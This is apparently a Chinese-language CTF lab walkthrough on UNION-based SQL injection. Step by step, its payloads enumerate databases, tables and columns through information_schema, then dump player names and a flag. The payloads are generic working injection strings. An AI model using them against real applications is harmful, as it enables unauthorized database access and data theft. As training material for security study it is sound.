> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).
# SQLi Union 注入
我们使用 Burp Suite 拦截请求并修改变量 `player`:
```sql
jordan' union select database()-- -
```
数据库名称是 `november`.
要列出所有数据库：
```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```
结果： `mysql,information_schema,performance_schema,sys, november`
列出表的 `november`:
```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```
列出表的列 `players`:
```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```
找到的列： `player`
**用户数据提取**
```sql
jordan' union select group_concat(player,':') from players-- -
```
找到的玩家： `ippsec,celesian,big0us,luska,tinyboy`
提取 flag：
```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```
```sql
jordan' union select group_concat(one,':') from flag-- -
```
* 找到的 Flag： `UHC{F1rst_5tep_2_Qualify}`
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